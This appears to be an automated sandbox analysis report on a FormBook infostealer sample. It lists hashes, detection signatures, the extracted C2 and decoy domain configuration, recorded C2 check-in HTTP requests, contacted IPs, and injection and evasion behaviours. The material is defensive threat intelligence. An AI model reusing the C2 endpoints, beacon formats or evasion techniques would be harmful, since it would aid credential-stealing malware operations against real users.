Analysis Report LWlcpDjYIQ.exe

Overview

General Information

Sample Name: LWlcpDjYIQ.exe
Analysis ID: 383953
MD5: 91523f8d438585534d9466432cc4665d
SHA1: e34b69f0ded056eca7dd43b8f5be2edf7198c211
SHA256: b5e3426a888ddb5751f9802093f1bd10ec696b2994bee03b99b7ba2b4f21a57d
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Contains functionality to prevent local Windows debugging
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses a Windows Living Off The Land Binaries (LOL bins)
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://www.lewishackney.com/sqra/?NBZl=RvvWc34iJhU4aDVvCPxlJYXQghZKjT+0jz617RLPtVuesnMs5OzQh/fCAeZj/K6zv/Ow&lzul=wRDL7BohbLBLJV Avira URL Cloud: Label: malware
Source: http://www.ecomcourse.online/sqra/?NBZl=A685XXlO5s8wdT2GSl4VwObxhyaN1usH/ZDf3g436hkZTbYdTSv6UxS6ZdhF3LcC3Fcd&lzul=wRDL7BohbLBLJV Avira URL Cloud: Label: malware
Source: http://www.muzhskoy-eskort.site/sqra/?NBZl=XY+ZErIRkQWtvrbZzW/Q2VqSgxI2oDXvZ0FX1dCtO5jFwgiNlKUf7p0wm51D3p8eN5aQ&lzul=wRDL7BohbLBLJV Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.simplyhealrhcareplans.com/sqra/"], "decoy": ["edwardjonescredticard.com", "muzhskoy-eskort.site", "home-sou.com", "entohops.com", "orchidandiris.com", "kellnetworks.com", "shopthen2.site", "jimmysga.com", "carobbella.com", "fenuadiscovery.com", "huongdandidong.com", "greenesgoodies.com", "socialunified.com", "azure-vs-google.cloud", "bardototonho.com", "anadelalastra.art", "godseyepiece.com", "18082020.com", "3559044.com", "hvacservicecoldwater.com", "inlandempiresublease.com", "cenconsulting.com", "clavunica.com", "zx765.com", "ndrossignol.com", "lumpkinforless.com", "merrypopinnannies.com", "herbalbooze.com", "opusleaf.com", "karizcustomizeme.com", "miss-windy.com", "esl-materials.com", "flcpyl.com", "metort.com", "ggapp.run", "josiahtreatenglishportfolio.com", "charmdalat.com", "kaashir.com", "magenx2.info", "mysfmp.com", "dailyhyundaihanoi.net", "camperlifeclub.com", "familymedicalurgentcare.com", "unityprawn.com", "crosswhiteconsulting.com", "luxel01.com", "runwithbe.com", "marfrigs.com", "lewishackney.com", "legalhelp.black", "thedorkweb.com", "carritogastronomico.com", "sniffai.com", "myboardinghome.com", "szameitat.net", "wegawk.com", "ecomcourse.online", "heritagelcc.com", "launchtutor.com", "bricksli.com", "911salesrescue.com", "shangbinjieneng.com", "seymor-law.com", "decoviewer.com"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\nsmDEE3.tmp\9a5t.dll ReversingLabs: Detection: 24%
Multi AV Scanner detection for submitted file
Source: LWlcpDjYIQ.exe ReversingLabs: Detection: 65%
Yara detected FormBook
Source: Yara match File source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE
Antivirus or Machine Learning detection for unpacked file
Source: 7.2.cmstp.exe.45c708.2.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 7.2.cmstp.exe.4b87960.5.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: LWlcpDjYIQ.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: Binary string: cmstp.pdbGCTL source: LWlcpDjYIQ.exe, 00000002.00000002.256547466.0000000000960000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: LWlcpDjYIQ.exe, 00000000.00000003.210847086.000000001ECE0000.00000004.00000001.sdmp, LWlcpDjYIQ.exe, 00000002.00000002.256684216.0000000000B1F000.00000040.00000001.sdmp, cmstp.exe, 00000007.00000002.476522146.0000000004650000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: LWlcpDjYIQ.exe, cmstp.exe
Source: Binary string: cmstp.pdb source: LWlcpDjYIQ.exe, 00000002.00000002.256547466.0000000000960000.00000040.00000001.sdmp
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_0040531D DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA, 0_2_0040531D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00405CB0 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose, 0_2_00405CB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_004026BC FindFirstFileA, 0_2_004026BC

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 4x nop then pop esi 2_2_0041581E
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 4x nop then pop edi 2_2_004162A4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 4x nop then pop edi 7_2_028562A4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 4x nop then pop esi 7_2_0285581E

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49722 -> 118.27.122.19:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49722 -> 118.27.122.19:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49722 -> 118.27.122.19:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49727 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49727 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49727 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49731 -> 108.186.210.142:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49731 -> 108.186.210.142:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49731 -> 108.186.210.142:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49743 -> 5.101.152.161:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49743 -> 5.101.152.161:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49743 -> 5.101.152.161:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49744 -> 208.91.197.27:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49744 -> 208.91.197.27:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49744 -> 208.91.197.27:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.simplyhealrhcareplans.com/sqra/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=+apFroP1TjGnxXEe5oaGEFG1FIGlVaZA9Y5GRttzGQ4z+BPhxNKjikjP31UiUH/cC1Iy HTTP/1.1Host: www.karizcustomizeme.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=l8gFWKa0VIasP4OX6UWILwSCtzkOc3V6oKupITn9HnPx0eDpBTl3az448bd8FGwLkJvi&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.luxel01.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=zH8yL9FtafuknHUuv+0OAb189SbLD7IfmvNkOBi8bJNQNfTK09EYjoUTP6M+ilwbYPXy HTTP/1.1Host: www.orchidandiris.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=lD4TJk9xsMd0/PL293fidflTFReEfYiBAFO2d5wZtfSldQt+n1O6CAKQlGZxKl5sANQQ&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.anadelalastra.artConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=A685XXlO5s8wdT2GSl4VwObxhyaN1usH/ZDf3g436hkZTbYdTSv6UxS6ZdhF3LcC3Fcd&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.ecomcourse.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=94GGx2Cs8EYqYWyk7qEtIIzRN3fkRhfUxg2Vtzz5w0QY/7xu41tS8mQoIQP3aceFOvfi HTTP/1.1Host: www.huongdandidong.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=XY+ZErIRkQWtvrbZzW/Q2VqSgxI2oDXvZ0FX1dCtO5jFwgiNlKUf7p0wm51D3p8eN5aQ&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.muzhskoy-eskort.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=n3U7aY9a5ujS+qWiRfdW0plv/0Nv8djS+qMboD1ih5qiP+MT365v99ebZUVRUFJkYzoK HTTP/1.1Host: www.simplyhealrhcareplans.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=nD+8EQ/dkrvxrfeXfZTM4uqVidyysXGGAQQPcyuh+D+qYnXcwF5fcGHppY2Ae0Rizhob HTTP/1.1Host: www.socialunified.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=RvvWc34iJhU4aDVvCPxlJYXQghZKjT+0jz617RLPtVuesnMs5OzQh/fCAeZj/K6zv/Ow&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.lewishackney.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=0hvqTGsG2LXykKa15oAG/2YmS9ez8HJt/56JneCT4XqEJpzhFqXtEbyiFIIf71vevGG9 HTTP/1.1Host: www.shopthen2.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=+apFroP1TjGnxXEe5oaGEFG1FIGlVaZA9Y5GRttzGQ4z+BPhxNKjikjP31UiUH/cC1Iy HTTP/1.1Host: www.karizcustomizeme.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 199.59.242.153 199.59.242.153
Source: Joe Sandbox View IP Address: 198.185.159.144 198.185.159.144
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: BODIS-NJUS BODIS-NJUS
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: C:\Windows\explorer.exe Code function: 5_2_06416302 getaddrinfo,setsockopt,recv, 5_2_06416302
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=+apFroP1TjGnxXEe5oaGEFG1FIGlVaZA9Y5GRttzGQ4z+BPhxNKjikjP31UiUH/cC1Iy HTTP/1.1Host: www.karizcustomizeme.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=l8gFWKa0VIasP4OX6UWILwSCtzkOc3V6oKupITn9HnPx0eDpBTl3az448bd8FGwLkJvi&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.luxel01.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=zH8yL9FtafuknHUuv+0OAb189SbLD7IfmvNkOBi8bJNQNfTK09EYjoUTP6M+ilwbYPXy HTTP/1.1Host: www.orchidandiris.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=lD4TJk9xsMd0/PL293fidflTFReEfYiBAFO2d5wZtfSldQt+n1O6CAKQlGZxKl5sANQQ&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.anadelalastra.artConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=A685XXlO5s8wdT2GSl4VwObxhyaN1usH/ZDf3g436hkZTbYdTSv6UxS6ZdhF3LcC3Fcd&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.ecomcourse.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=94GGx2Cs8EYqYWyk7qEtIIzRN3fkRhfUxg2Vtzz5w0QY/7xu41tS8mQoIQP3aceFOvfi HTTP/1.1Host: www.huongdandidong.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=XY+ZErIRkQWtvrbZzW/Q2VqSgxI2oDXvZ0FX1dCtO5jFwgiNlKUf7p0wm51D3p8eN5aQ&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.muzhskoy-eskort.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=n3U7aY9a5ujS+qWiRfdW0plv/0Nv8djS+qMboD1ih5qiP+MT365v99ebZUVRUFJkYzoK HTTP/1.1Host: www.simplyhealrhcareplans.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=nD+8EQ/dkrvxrfeXfZTM4uqVidyysXGGAQQPcyuh+D+qYnXcwF5fcGHppY2Ae0Rizhob HTTP/1.1Host: www.socialunified.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?NBZl=RvvWc34iJhU4aDVvCPxlJYXQghZKjT+0jz617RLPtVuesnMs5OzQh/fCAeZj/K6zv/Ow&lzul=wRDL7BohbLBLJV HTTP/1.1Host: www.lewishackney.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=0hvqTGsG2LXykKa15oAG/2YmS9ez8HJt/56JneCT4XqEJpzhFqXtEbyiFIIf71vevGG9 HTTP/1.1Host: www.shopthen2.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /sqra/?lzul=wRDL7BohbLBLJV&NBZl=+apFroP1TjGnxXEe5oaGEFG1FIGlVaZA9Y5GRttzGQ4z+BPhxNKjikjP31UiUH/cC1Iy HTTP/1.1Host: www.karizcustomizeme.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: www.karizcustomizeme.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.13.4Date: Thu, 08 Apr 2021 11:02:14 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 285Connection: closeVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 71 72 61 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 68 6f 70 74 68 65 6e 32 2e 73 69 74 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /sqra/ was not found on this server.</p><hr><address>Apache/2.4.10 (Unix) Server at www.shopthen2.site Port 80</address></body></html>
Source: explorer.exe, 00000005.00000000.240958021.000000000F709000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.236613725.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00404EBC GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,lstrlenA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00404EBC
Creates a DirectInput object (often for capturing keystrokes)
Source: LWlcpDjYIQ.exe, 00000000.00000002.220096711.00000000007CA000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
